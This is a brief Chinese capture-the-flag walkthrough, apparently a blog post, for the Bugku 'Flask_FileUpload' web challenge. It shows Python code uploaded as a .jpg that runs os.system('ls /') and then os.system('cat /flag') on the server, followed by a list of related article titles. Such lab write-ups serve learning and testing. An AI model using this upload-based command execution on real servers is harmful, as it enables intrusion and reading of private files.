Bugku-web-Flask_FileUpload
查看源代码，提示用python返回结果
在file.jpg中写python代码
import os
os.system('ls / ')
上传后查看源代码，找到flag文件夹
修改代码
import os
os.system('cat /flag ')
Bugku-web-Flask_FileUpload
黑白时光les2024-08-01 11:52
相关推荐
dundunmm17 分钟前
机器学习之scikit-learn（简称 sklearn）古希腊掌管学习的神18 分钟前
[机器学习]sklearn入门指南（1）一道微光31 分钟前
Mac的M2芯片运行lightgbm报错,其他python包可用，x86_x64架构运行黑客老陈40 分钟前
新手小白如何挖掘cnvd通用漏洞之存储xss漏洞（利用xss钓鱼）正小安1 小时前
Vite系列课程 | 11. Vite 配置文件中 CSS 配置（Modules 模块化篇）四口鲸鱼爱吃盐1 小时前
Pytorch | 利用AI-FGTM针对CIFAR10上的ResNet分类器进行对抗攻击是娜个二叉树！1 小时前
图像处理基础 | 格式转换.rgb转.jpg 灰度图 python互联网杂货铺1 小时前
Postman接口测试：全局变量/接口关联/加密/解密暴富的Tdy1 小时前
【CryptoJS库AES加密】